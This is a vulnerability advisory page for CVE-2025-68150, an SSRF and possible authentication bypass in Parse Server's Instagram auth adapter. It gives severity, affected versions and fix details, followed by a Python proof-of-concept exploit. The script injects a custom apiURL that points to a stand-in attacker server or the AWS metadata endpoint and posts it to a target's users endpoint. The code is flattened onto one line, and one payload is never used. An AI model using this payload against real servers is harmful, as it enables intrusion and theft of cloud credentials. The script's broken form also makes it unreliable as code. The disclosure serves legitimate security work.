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CVE-2025-68150 CVSS 6.5 MEDIUM

CVE-2025-68150

Published: 2025-12-16 19:16:00
Last Modified: 2026-01-02 16:39:48

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.2 and 9.1.1-alpha.1, the Instagram authentication adapter allows clients to specify a custom API URL via the `apiURL` parameter in `authData`. This enables SSRF attacks and possibly authentication bypass if malicious endpoints return fake responses to validate unauthorized users. This is fixed in versions 8.6.2 and 9.1.1-alpha.1 by hardcoding the Instagram Graph API URL `https://graph.instagram.com` and ignoring client-provided `apiURL` values. No known workarounds are available.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.0.0:-:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha10:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.0.0:alpha11:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 8.6.2
Parse Server < 9.1.1-alpha.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-68150 SSRF PoC # Target: Parse Server with vulnerable Instagram auth adapter TARGET_URL = "http://target-parse-server.com/parse" ATTACKER_SERVER = "http://attacker-controlled-server.com" def exploit_ssrf(): """ This PoC demonstrates how an attacker can abuse the apiURL parameter in Instagram authData to perform SSRF attacks. """ # Malicious authData with custom apiURL pointing to attacker-controlled server malicious_auth_data = { "instagram": { "id": "malicious_user_id", "access_token": "fake_access_token", "apiURL": ATTACKER_SERVER # Attacker controls this URL } } # Login request with malicious authData login_payload = { "authData": malicious_auth_data } # Alternative: SSRF to internal services internal_ssrf_payload = { "authData": { "instagram": { "id": "test_user", "access_token": "test_token", "apiURL": "http://169.254.169.254/latest/meta-data/" # AWS metadata } } } try: # Send request to Parse Server response = requests.post( f"{TARGET_URL}/users", json=login_payload, headers={"Content-Type": "application/json"} ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("CVE-2025-68150 SSRF PoC") print("Target: Parse Server Instagram Auth Adapter") exploit_ssrf()

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